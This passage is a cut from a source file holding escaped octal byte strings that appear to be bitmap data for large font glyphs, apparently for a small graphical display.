\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\3\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\360\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\377\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\\377\\377\\377\\377\\377\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\376\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\"\n  \"\\77\\37\\37\\17\\17\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\\374\\376\\376\\376\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\17\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77\\77\\77\\177\\177\\177\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\"\n  \"\\370\\374\\376\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\"\n  \"\\370\\374\\376\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\360\\360\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\360\\360\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\200\\300\\340\\340\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\200\\300\\340\\340\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\3\\7\\7\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\3\\7\\7\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\17\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\17\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\37\"\n  \"\\37\\77\\177\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\37\"\n  \"\\37\\77\\177\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\360\\360\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\360\\360\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\"\n  \"\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\"\n  \"\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\77\\37\\17\\7\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\77\\37\\17\\7\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\17\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\17\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\177\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\177\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\370\\370\\374\\374\\376\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\300\\300\\340\\360\\360\\370\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\200\\200\\300\\340\\340\\360\\360\\370\\374\\374\\376\"\n  \"\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\1\\1\\3\\7\\7\\17\\17\\37\\77\\77\\177\"\n  \"\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\3\\3\\7\\17\\17\\37\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\37\\37\\77\\77\\177\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\376\\374\\374\\370\\370\\360\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\370\\360\\360\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\"\n  \"\\376\\374\\374\\370\\360\\360\\340\\340\\300\\200\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\177\\77\\77\\37\\17\\17\\7\\7\\3\\1\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\177\\77\\77\\37\\37\\17\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\"\n  \"\\376\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  